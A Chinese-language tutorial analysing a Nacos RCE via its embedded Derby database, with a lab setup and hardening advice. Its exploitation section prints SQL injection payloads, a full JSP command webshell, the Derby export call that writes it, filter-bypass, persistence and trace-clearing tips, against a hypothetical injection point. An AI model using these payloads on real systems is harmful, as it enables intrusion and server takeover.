1. 项目概述:一次从漏洞到数据库的深度探索
最近在安全圈和运维圈里,Nacos 这个名字出现的频率越来越高。作为 Spring Cloud Alibaba 生态中的核心组件,它集服务发现、配置管理于一身,极大地简化了微服务架构的治理。但伴随着其广泛部署,相关的安全问题也逐渐浮出水面。我注意到一个特别值得深究的案例:一个涉及 Nacos 默认内嵌 Derby 数据库的远程代码执行漏洞。这个案例之所以吸引我,不仅仅是因为它本身是一个高危的 RCE,更因为它为我们打开了一扇窗,让我们得以窥见一个在特定场景下“默默无闻”的数据库——Apache Derby——在安全攻防视角下的另一面。
对于大多数开发者而言,Derby 可能只是一个在本地测试时“开箱即用”的便利选择,或者是在某些中间件(如 Nacos 的默认单机模式)中“隐藏”的后台存储。我们很少会像研究 MySQL、PostgreSQL 那样去深入探究它的安全特性和潜在风险。然而,这个 Nacos 的漏洞案例清晰地告诉我们,任何被集成到生产环境中的组件,无论其是否被显式关注,都可能成为攻击链上的关键一环。这次,我们就以这个漏洞为引子,不仅复现和分析漏洞本身,更要深入 Derby 数据库的内部,学习其特性和在特定条件下的利用方法。无论你是安全研究员想拓宽武器库,还是运维工程师想加固你的 Nacos 集群,亦或是单纯对数据库安全感兴趣,这次探索都将是一次有价值的实践。
2. 漏洞背景与核心原理拆解
2.1 Nacos 的默认存储与 Derby 的角色
要理解这个漏洞,首先得明白 Nacos 在单机模式下是怎么存数据的。为了追求极致的开箱即用体验,Nacos 在非集群模式下,默认使用内嵌的 Apache Derby 数据库作为其配置信息和元数据的存储后端。Derby 是一个纯 Java 编写的关系型数据库,它的一大特点就是可以完全嵌入到应用程序中,无需独立安装和运行数据库服务进程。对于 Nacos 来说,这意味着用户下载完压缩包,解压后直接运行startup.sh或startup.cmd就能启动一个功能完整的服务,数据会自动存储在{nacos.home}/data/derby-data目录下,对用户透明。
这种设计带来了便捷,但也引入了潜在的安全假设:内嵌数据库被认为是受信任的、仅在本地被访问的组件。因此,Nacos 早期版本在默认配置下,可能并未对 Derby 数据库的连接和操作施加严格的身份验证或访问控制。攻击者的思路正是从这里切入:如果能够通过某种方式(例如,未授权访问 Nacos 的 API 接口)向 Nacos 注入恶意的 Derby SQL 语句,那么这些语句将在 Nacos 服务进程的上下文(通常具有较高权限)中,由内嵌的 Derby 引擎执行。
2.2 RCE 漏洞的形成链条
漏洞的完整链条通常不是单一环节,而是多个薄弱点串联的结果。在这个案例中,链条可以概括为:
- 入口点暴露:攻击者首先需要找到一个能与 Nacos 交互的入口。历史上,Nacos 曾出现过未授权访问漏洞(例如,某些 API 接口在默认配置下未开启鉴权)。攻击者可以利用此类漏洞,无需用户名密码即可调用 Nacos 的配置管理或服务管理接口。
- SQL 注入点:Nacos 的某些功能在处理外部输入(如配置内容、服务名、元数据)时,如果过滤不严,可能会将用户输入直接拼接到操作 Derby 数据库的 SQL 语句中。这就形成了一个经典的 SQL 注入漏洞。
- Derby 的特性利用:这是最关键的一步。普通的 SQL 注入可能只能实现数据窃取或篡改,但 Derby 数据库提供了一些强大的、甚至危险的系统函数和存储过程。例如:
SYSCS_UTIL.SYSCS_EXPORT_TABLE:可以将表数据导出到服务器文件系统的任意位置。CALL语句执行 Java 方法:Derby 支持在 SQL 中直接调用静态 Java 方法。- 创建和执行自定义函数(JAR 文件加载):理论上,如果攻击者能控制文件路径,可以诱使 Derby 加载恶意 JAR 文件并执行其中的代码。
- 权限上下文:Nacos 服务进程通常以
root(Linux)或SYSTEM(Windows)等高权限账户运行,以确保其能正常监听端口、读写文件等。当恶意 SQL 在这个上下文中执行时,其产生的文件操作或系统命令调用就具备了极高的权限,从而实现远程代码执行。
简单来说,攻击路径就是:未授权访问 -> 找到SQL注入点 -> 注入可导致文件写入或代码执行的Derby特殊SQL -> 在Nacos进程权限下完成RCE。
注意:这里讨论的是基于历史漏洞原理的分析与学习。目前 Nacos 官方在新版本中已经加强了安全默认配置(如强制开启鉴权)、修复了相关注入点,并提供了使用外部 MySQL 等生产级数据库的推荐方案。我们的目的是通过此案例学习技术原理,切勿用于非法测试未授权的系统。
2.3 为什么是 Derby?与其他数据库的对比
你可能会问,如果是 MySQL 有 SQL 注入,可能通过INTO OUTFILE写文件,或者利用LOAD_FILE读文件,但实现完整的 RCE 通常更复杂,需要配合写入 WebShell 或利用 UDF(用户自定义函数)。相比之下,Derby 在某些方面显得更“直接”。
- 内置文件操作:像
SYSCS_EXPORT_TABLE这样的内置过程,设计初衷是方便数据库管理(数据导出备份),但参数完全由 SQL 控制,且没有严格的路径限制,这就为写入任意文件(如 JSP、SSH 公钥)提供了便利。 - 与 JVM 的深度集成:作为纯 Java 数据库,Derby 运行在同一个 JVM 中,与应用程序(Nacos)的界限非常模糊。通过 SQL 调用 Java 方法 (
CALL java.lang.Runtime.getRuntime().exec(...)) 在特定配置下是可能的,这几乎等同于直接获得了执行系统命令的能力。 - 默认配置宽松:在嵌入式场景下,Derby 往往采用最简配置,安全特性(如
derby.database.sqlAuthorization)默认未开启,这降低了对危险操作的限制。
这些特性使得在存在 SQL 注入的前提下,针对 Derby 的利用链可能比传统数据库更短、更直接。这也提醒我们,在评估系统风险时,不能忽视那些“不起眼”的嵌入式组件。
3. Derby 数据库特性深度解析与利用面
要有效利用或防御,必须深入了解 Derby。我们抛开漏洞利用的恶意视角,从数据库特性本身看看哪些功能可能被“滥用”。
3.1 文件系统操作能力
Derby 提供了一系列系统存储过程,用于数据库的导入导出和备份恢复。这些功能在管理上是合法的,但在注入场景下是危险的。
SYSCS_UTIL.SYSCS_EXPORT_TABLE:这是最常被提及的一个。它的原型类似于:CALL SYSCS_UTIL.SYSCS_EXPORT_TABLE (NULL, ‘TABLENAME‘, ‘/PATH/TO/OUTPUT/FILE‘, ‘,‘, ‘“’, ‘UTF-8’);它可以将指定表的数据以 CSV 格式导出到服务器文件系统的指定路径。关键点在于,这个路径参数可以是绝对路径,并且 Derby 进程有权限写入的任何位置。攻击者可以:
- 导出一个已知的表(甚至是一个攻击者可以创建或插入数据的临时表)。
- 将输出文件路径设置为 Web 根目录下的一个 JSP 文件(如
/opt/nacos/target/nacos/WEB-INF/…/xxx.jsp)。 - 在导出的数据中,精心构造 JSP 的代码内容(例如,通过向表中插入一行包含
<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>的数据)。 这样,一个 WebShell 就被写入了服务器。
SYSCS_UTIL.SYSCS_EXPORT_QUERY:与EXPORT_TABLE类似,但允许导出一个查询语句的结果,更加灵活。SYSCS_UTIL.SYSCS_BACKUP_DATABASE:备份数据库到指定目录。虽然主要用来写目录,但在特定情况下也可能用于探测路径存在性或进行有限的文件操作。
实操心得:在实际测试环境中,Derby 对导出文件的处理是覆盖写入。如果目标文件已存在,会被直接覆盖。这为覆盖关键系统文件或 Web 应用文件提供了可能。同时,要注意 Derby 运行账户对目标路径的写权限,这是利用成功的前提。
3.2 Java 方法调用与反射机制
Derby 支持在 SQL 语句中直接调用 Java 静态方法,这是其与 JVM 深度集成的体现。语法如下:
VALUES java.lang.System.getProperty(‘java.home’); -- 或 CALL java.lang.Thread.sleep(1000);在早期版本或特定配置下,如果 Derby 的java.lang.Runtime访问没有被沙箱策略严格限制,理论上可以执行命令:
CALL java.lang.Runtime.getRuntime().exec(‘calc.exe’);然而,现代 Derby 版本和运行在默认安全管理器下的 Java 应用,通常会严格禁止这类敏感操作。直接调用Runtime.exec大概率会抛出安全异常。但这并不意味着此路完全不通,攻击者可能会尝试通过反射等更迂回的方式绕过限制,或者寻找其他不直接执行命令但仍有危害的 Java 方法调用(如调用java.nio.file.Files进行文件操作)。
3.3 自定义函数与外部 JAR 加载
这是另一个理论上可行但实践中门槛较高的路径。Derby 允许用户创建自定义函数(UDF),这些函数的实现可以写在 Java 类中,然后通过 SQL 语句部署到数据库。
- 攻击者首先需要在服务器上某个 Derby 可访问的位置放置一个包含恶意类(如实现了
java.sql.CallableStatement的类)的 JAR 文件。这可能通过之前的文件写入漏洞实现。 - 然后,通过 SQL 注入执行
CALL SQLJ.INSTALL_JAR来安装这个 JAR。 - 最后,创建别名(Alias)指向恶意类中的方法,并调用它。
这个过程步骤较多,依赖条件苛刻(需要能写入 JAR、需要 Derby 配置允许安装外部 JAR),在实际漏洞利用中不如文件导出直接有效,但作为一种持久化或高级利用手段值得了解。
3.4 信息收集与指纹识别
在真正的攻击开始前,信息收集至关重要。通过 Derby 的注入点,我们可以提取大量关于数据库和环境的信息:
- 版本信息:
SELECT * FROM sys.sysversions - 模式与表信息:
SELECT schemaname, tablename FROM sys.systables - 当前用户与权限:
SELECT CURRENT_USER, CURRENT_ROLE(注意,嵌入式 Derby 的权限模型可能比较简单) - 系统属性:通过
VALUES java.lang.System.getProperty(‘user.dir’)等可以获取 JVM 系统属性,从而判断运行路径、操作系统等。
这些信息能帮助攻击者(或防御者评估风险)了解数据库结构,定位关键配置表(如 Nacos 的用户凭据可能存储在users表中),并规划下一步的利用路径。
4. 漏洞复现环境搭建与核心利用步骤
声明:本节内容仅用于合法授权的安全测试、教学研究或个人学习环境。请确保你拥有测试目标系统的完全所有权或书面授权。
4.1 环境准备
为了安全地学习和研究,我们必须在隔离的环境中搭建靶场。
- 虚拟机/容器环境:使用 VirtualBox、VMware 或 Docker 创建一个干净的 Linux(如 Ubuntu 20.04)或 Windows 测试环境。
- 下载特定版本 Nacos:从 Nacos 的 GitHub Release 页面下载一个存在相关漏洞的历史版本。例如,可以选择一个早期未强制开启鉴权的版本,如 1.x 系列的某个版本。这里以
nacos-server-1.4.2.zip为例(仅为示意,具体漏洞版本需根据实际 CVE 确定)。wget https://github.com/alibaba/nacos/releases/download/1.4.2/nacos-server-1.4.2.zip unzip nacos-server-1.4.2.zip cd nacos - 修改配置(可选但推荐):为了模拟最不安全的默认情况,可以检查
conf/application.properties,确保nacos.core.auth.enabled被设置为false(关闭鉴权)。同时,确认其使用的是内嵌 Derby (spring.datasource.platform=derby)。 - 启动 Nacos:
- Linux:
bash bin/startup.sh -m standalone - Windows:
cmd bin/startup.cmd -m standalone
- Linux:
- 验证启动:访问
http://你的IP:8848/nacos,应该能看到登录页。如果关闭了鉴权,可能可以直接进入控制台。
4.2 利用链复现实操
假设我们通过信息收集,发现了一个存在于 Nacos 配置发布功能中的 SQL 注入点(例如,在配置内容的某个字段过滤不严)。以下步骤演示一个典型的、通过文件导出写入 WebShell 的利用过程。
步骤一:确认注入点并获取数据库信息首先,我们需要验证注入的存在并了解数据库结构。通过 Burp Suite 或 curl 工具拦截修改请求。 例如,篡改一个更新配置的请求,在配置内容中插入 Derby 的延时语句来测试盲注:
POST /nacos/v1/cs/configs HTTP/1.1 ... dataId=test&group=DEFAULT_GROUP&content=‘; VALUES (CASE WHEN (1=1) THEN 1 ELSE (CALL java.lang.Thread.sleep(5000)) END) --观察响应时间,如果睡眠生效,则确认存在 SQL 注入。
步骤二:定位 Web 目录或可写路径我们需要知道 Nacos 的 Web 应用部署在哪里,以便写入的 JSP 文件能被访问。可以通过错误信息、已知的默认路径(如{nacos.home}/target/nacos/或../nacos/console/相对路径)或利用 Derby 读取系统属性来探测。 尝试注入:
‘; VALUES java.lang.System.getProperty(‘catalina.base’) --或者,更直接地,尝试向一个猜测的路径导出数据,通过是否报错来判断路径有效性。
步骤三:准备“数据”并写入 WebShell
创建或利用现有表:我们需要一个表来存放我们的 WebShell 代码。可以尝试插入数据到已有的表(如
config_info),或者更隐蔽地,创建一个临时表。Derby 中创建表需要一定权限,但有时当前连接具备该权限。‘; CREATE TABLE evil_table (payload VARCHAR(8192)) -- ‘; INSERT INTO evil_table (payload) VALUES (‘<%@ page import=“java.util.*,java.io.*“%><% if (request.getParameter(“cmd”) != null) { Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”)); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%>‘) --这段 JSP 代码会执行通过
cmd参数传递的系统命令并回显结果。导出数据到 Web 目录:利用
SYSCS_EXPORT_TABLE将evil_table表的内容导出为一个.jsp文件。假设我们探测到 Web 根目录为/home/nacos/target/nacos/。‘; CALL SYSCS_UTIL.SYSCS_EXPORT_TABLE (NULL, ‘EVIL_TABLE‘, ‘/home/nacos/target/nacos/nacos/console/shell.jsp‘, null, null, null) --注意表名在 Derby 中默认是大写的。参数中的
null表示使用默认的列分隔符、字符串定界符和字符集。
步骤四:访问 WebShell 并执行命令如果上述步骤成功,访问http://你的IP:8848/nacos/console/shell.jsp?cmd=whoami。如果页面返回了当前服务的运行用户(如nacos或root),则证明 RCE 成功。
4.3 利用过程中的关键技巧与注意事项
- 绕过字符过滤:真实的 Nacos 可能对请求参数有过滤或转义。需要尝试多种编码(URL编码、Unicode编码、十六进制编码)或使用 Derby 的字符串拼接函数(
||)来绕过。例如,将SYSCS_EXPORT_TABLE拆分为‘SYSCS‘||‘_EXPORT_TABLE‘。 - 处理 Derby 的标识符大小写:Derby 默认将未加引号的标识符(如表名、列名)存储为大写。在 SQL 语句中引用时需要注意。如果创建表时用了小写,查询时需要用双引号括起来,如
“evil_table“。 - 路径穿越:在导出路径中尝试使用
../进行目录穿越,可能可以跳出预期的目录,写入到更敏感的位置。 - 无回显利用:如果无法直接访问写入的 WebShell(如没有 Web 服务),可以考虑写入 SSH 公钥到
~/.ssh/authorized_keys,或者写入计划任务文件(如 Linux 的/etc/cron.d/下),实现无回显的 RCE。 - 清理痕迹:利用完成后,可以通过注入删除临时表 (
DROP TABLE evil_table) 和删除 WebShell 文件(这可能需要借助其他方法,如写入一个执行rm命令的 JSP)来清理痕迹,但这本身又会留下新的日志。
重要警告:上述操作极具破坏性,仅应在完全可控的隔离环境中进行。在生产环境中,任何未经授权的测试都是非法且不道德的。
5. 防御策略与安全加固建议
学习攻击是为了更好的防御。针对此类由内嵌数据库漏洞引发的 RCE,我们可以从多个层面进行加固。
5.1 针对 Nacos 的加固措施
- 立即升级到最新稳定版:这是最有效、最根本的措施。Nacos 官方持续修复安全漏洞并增强安全特性。新版本默认开启了鉴权,并修复了已知的注入点。
- 强制启用鉴权:即使使用旧版本,也必须修改
application.properties,设置nacos.core.auth.enabled=true,并配置强密码。这能堵住未授权访问这个最大的入口。 - 弃用内嵌 Derby,使用外部数据库:对于生产环境,强烈推荐将存储迁移到外部的 MySQL 或 PostgreSQL 数据库。这不仅能提升性能和支持集群模式,还能将数据库的安全管理(如网络隔离、访问控制、审计)与 Nacos 应用本身解耦。
- 修改
conf/application.properties中的spring.datasource.platform为mysql。 - 配置 MySQL 的连接信息,并执行
conf/nacos-mysql.sql初始化数据库。
- 修改
- 最小权限原则运行:不要以
root身份运行 Nacos。创建一个专用的、低权限的系统用户(如nacos),并以此用户身份启动服务。这能极大限制漏洞利用成功后攻击者获得的权限。useradd nacos -s /bin/false chown -R nacos:nacos /path/to/nacos sudo -u nacos bash bin/startup.sh -m standalone - 网络隔离与访问控制:将 Nacos 部署在内网,通过防火墙策略严格限制访问来源 IP(仅允许微服务应用所在的网段访问管理端口 8848)。避免将 Nacos 控制台直接暴露在公网。
5.2 针对 Derby 数据库的安全配置(如果必须使用)
如果因特殊原因必须使用内嵌 Derby,应尝试锁定其配置:
- 启用 SQL 标准授权:在 Derby 连接 URL 或系统属性中设置
derby.database.sqlAuthorization=true。这会在数据库级别启用基于 SQL 标准的权限控制,限制用户对系统函数和存储过程的访问。但请注意,在嵌入式模式下,此功能可能有限。 - 使用 Java 安全策略文件:为运行 Nacos 的 JVM 配置自定义的
java.policy文件,严格限制 Derby 代码(org.apache.derby.**)的权限,特别是FilePermission和RuntimePermission,禁止其写入任意文件和执行命令。 - 定期安全审计:监控 Nacos 的访问日志和 Derby 的日志(如果开启),寻找异常的 SQL 语句模式或来自非授权 IP 的访问尝试。
5.3 通用的安全开发与运维实践
- 输入验证与参数化查询:从根本上杜绝 SQL 注入,需要在代码层面对所有用户输入进行严格的验证和过滤。对于数据库操作,必须使用参数化查询(PreparedStatement)或 ORM 框架提供的安全机制,绝不拼接 SQL 字符串。
- 依赖组件安全扫描:将 Nacos、Derby 等第三方组件纳入软件成分分析(SCA)的范畴,使用工具定期扫描已知的漏洞(CVE),并及时制定升级或缓解计划。
- 纵深防御:不要依赖单一的安全措施。结合网络防火墙、主机入侵检测系统(HIDS)、Web 应用防火墙(WAF)等多层防护,即使某一层被突破,其他层仍能提供保护。
- 安全开发生命周期:在软件设计和开发阶段就考虑安全,进行威胁建模,识别类似“内嵌数据库信任边界”这样的风险点,并提前设计防护方案。
6. 从漏洞分析到技能沉淀的思考
回顾这次从 Nacos Derby RCE 漏洞出发的探索,它带给我的远不止一个漏洞的利用方法。它更像一个典型案例,揭示了在现代分布式架构中,由“便捷性”驱动的默认选择可能暗藏的安全风险。内嵌数据库、默认弱密码、未开启的鉴权,这些为了“快速开始”而设计的特性,在面向公网或复杂内网时,往往成为攻击者最青睐的突破口。
对于安全研究人员,这个案例展示了如何将传统的 SQL 注入技术与特定组件的特性深度结合,挖掘出更严重的漏洞利用链。它要求我们不仅要知道UNION SELECT,还要去阅读 Derby 的官方文档,了解SYSCS_UTIL这个 schema 下有哪些“神奇”的过程。
对于运维和开发人员,这是一个响亮的警报:默认不等于安全。在生产环境中部署任何软件,第一步就是审查其安全配置。Nacos 的鉴权、数据库选型、运行账户,这些都是必须在部署清单上勾选的项目。同时,它也提醒我们要关注架构中每一个组件,即使它像内嵌 Derby 一样“透明”,其安全状态同样会影响整个系统的安危。
最后,这种漏洞的利用往往需要多个条件同时满足(未授权访问+SQL注入+可写路径)。在防御时,我们可以利用这一点,实施“防御纵深”。即使无法立刻修复所有漏洞,通过启用鉴权、降低运行权限,也能显著提高攻击门槛,将大规模、自动化的攻击拒之门外。安全是一个持续的过程,从理解每一次攻击开始,到落实每一项加固结束。